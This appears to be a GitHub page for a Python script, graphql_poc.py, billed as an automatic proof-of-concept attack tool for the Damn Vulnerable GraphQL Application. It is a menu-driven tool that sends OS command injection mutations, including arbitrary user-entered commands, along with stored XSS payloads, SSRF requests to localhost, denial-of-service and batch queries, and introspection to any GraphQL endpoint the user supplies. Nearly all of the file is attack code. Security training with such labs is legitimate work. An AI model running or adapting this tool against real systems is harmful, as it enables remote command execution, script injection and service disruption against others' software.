-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathgraphql_poc.py
245 lines (217 loc) · 7.48 KB
/
graphql_poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
import requests
import json
import argparse
import time
from colorama import Fore, Style, init
# Initialize colorama
init(autoreset=True)
def send_request(url, body, proxy=None):
""" Send a request to the GraphQL endpoint through a proxy if provided. """
try:
start_time = time.time() # Start time for measuring response time
response = requests.post(url, json=body, proxies=proxy)
response.raise_for_status() # Raise an error for bad responses
elapsed_time = time.time() - start_time
print(Fore.BLUE + f"Response Time: {elapsed_time:.2f} seconds")
return response
except requests.exceptions.RequestException as e:
print(Fore.RED + f"Request failed: {e}")
return None
def introspection_query(url, proxy=None):
""" Perform a GraphQL introspection query to discover the schema. """
query = '''
{
__schema {
types {
name
}
}
}
'''
body = {'query': query}
response = send_request(url, body, proxy)
print(Fore.GREEN + "Introspection Query Response:")
print(json.dumps(response.json(), indent=2))
def batch_query_attack(url, proxy=None):
""" Perform a batch query attack by sending multiple queries. """
queries = [
'{ query1 { field1 } }',
'{ query2 { field2 } }',
'{ query3 { field3 } }',
'{ users { id name } }'
]
for query in queries:
body = {'query': query}
response = send_request(url, body, proxy)
print(Fore.GREEN + f"Response for {query}: {response.status_code}")
def os_command_injection(url, proxy=None):
""" Test for OS Command Injection vulnerabilities. """
print(Fore.YELLOW + "Select an OS Command Injection payload:")
print("1. whoami")
print("2. id")
print("3. ls -la")
print("4. Custom Command")
choice = input("Enter your choice (1-4): ")
if choice == "1":
command = "whoami"
elif choice == "2":
command = "id"
elif choice == "3":
command = "ls -la"
elif choice == "4":
command = input("Enter your custom command: ")
else:
print(Fore.RED + "Invalid choice.")
return
query = f'''
mutation {{
executeCommand(input: "{command}")
}}
'''
body = {'query': query}
response = send_request(url, body, proxy)
print(Fore.GREEN + "OS Command Injection Response:")
print(json.dumps(response.json(), indent=2))
def stored_xss(url, proxy=None):
""" Test for Stored Cross-Site Scripting (XSS) vulnerabilities. """
print(Fore.YELLOW + "Select a Stored XSS payload:")
print("1. <script>alert('XSS')</script>")
print("2. <img src=x onerror=alert('XSS')>")
print("3. Custom Payload")
choice = input("Enter your choice (1-3): ")
if choice == "1":
payload = "<script>alert('XSS')</script>"
elif choice == "2":
payload = "<img src=x onerror=alert('XSS')>"
elif choice == "3":
payload = input("Enter your custom XSS payload: ")
else:
print(Fore.RED + "Invalid choice.")
return
query = f'''
mutation {{
createPost(input: {{ content: "{payload}" }}) {{
id
}}
}}
'''
body = {'query': query}
response = send_request(url, body, proxy)
print(Fore.GREEN + "Stored XSS Response:")
print(json.dumps(response.json(), indent=2))
def resource_intensive_query(url, proxy=None):
""" Test a resource-intensive query. """
query = '''
{
users {
id
name
friends {
name
}
}
}
'''
body = {'query': query}
response = send_request(url, body, proxy)
print(Fore.GREEN + "Resource Intensive Query Response:")
print(json.dumps(response.json(), indent=2))
def denial_of_service_attack(url, proxy=None):
""" Test for Denial of Service by sending a large query. """
query = '''
{
largeDataSet {
id
value
}
}
'''
body = {'query': query}
response = send_request(url, body, proxy)
print(Fore.GREEN + "Denial of Service Attack Response:")
print(response.status_code)
def field_duplication_attack(url, proxy=None):
""" Test for field duplication in a query. """
query = '''
{
user {
name
name # Duplicate field
age
}
}
'''
body = {'query': query}
response = send_request(url, body, proxy)
print(Fore.GREEN + "Field Duplication Attack Response:")
print(json.dumps(response.json(), indent=2))
def server_side_request_forgery(url, proxy=None):
""" Test for Server-Side Request Forgery (SSRF). """
payload = "http://localhost:8080" # Example internal URL
query = f'''
{{
internalService(url: "{payload}") {{
response
}}
}}
'''
body = {'query': query}
response = send_request(url, body, proxy)
print(Fore.GREEN + "Server Side Request Forgery Response:")
print(json.dumps(response.json(), indent=2))
def main():
print(Fore.CYAN + "Acyber Team Developer")
print(Fore.CYAN + "Automatic PoC For Damn Vulnerable GraphQL Application")
parser = argparse.ArgumentParser(description="GraphQL Exploitation PoC Tool")
parser.add_argument("-u", "--url", type=str, required=True, help="GraphQL endpoint URL")
parser.add_argument("-p", "--proxy", type=str, help="Proxy URL (e.g., http://127.0.0.1:8080)")
args = parser.parse_args()
graphql_url = args.url
proxy = None
if args.proxy:
proxy = {
"http": args.proxy,
"https": args.proxy,
}
print("Select an attack type:")
print("1. GraphQL Introspection")
print("2. Batch Query Attack")
print("3. OS Command Injection")
print("4. Stored Cross-Site Scripting (XSS)")
print("5. Resource Intensive Query")
print("6. Denial of Service Attack")
print("7. Field Duplication Attack")
print("8. Server Side Request Forgery (SSRF)")
print("9. Custom GraphQL Request")
choice = input("Enter your choice (1-9): ")
if choice == "1":
introspection_query(graphql_url, proxy)
elif choice == "2":
batch_query_attack(graphql_url, proxy)
elif choice == "3":
os_command_injection(graphql_url, proxy)
elif choice == "4":
stored_xss(graphql_url, proxy)
elif choice == "5":
resource_intensive_query(graphql_url, proxy)
elif choice == "6":
denial_of_service_attack(graphql_url, proxy)
elif choice == "7":
field_duplication_attack(graphql_url, proxy)
elif choice == "8":
server_side_request_forgery(graphql_url, proxy)
elif choice == "9":
print("Enter the body of the GraphQL request as JSON:")
print("Example: { 'query': '{ users { id name } }', 'variables': {} }")
body_input = input("Enter JSON body: ")
try:
body = json.loads(body_input)
response = send_request(graphql_url, body, proxy)
print("Custom Request Response:")
print(json.dumps(response.json(), indent=2))
except json.JSONDecodeError:
print(Fore.RED + "Invalid JSON format. Please enter valid JSON.")
else:
print(Fore.RED + "Invalid choice. Please select a valid option.")
if __name__ == "__main__":
main()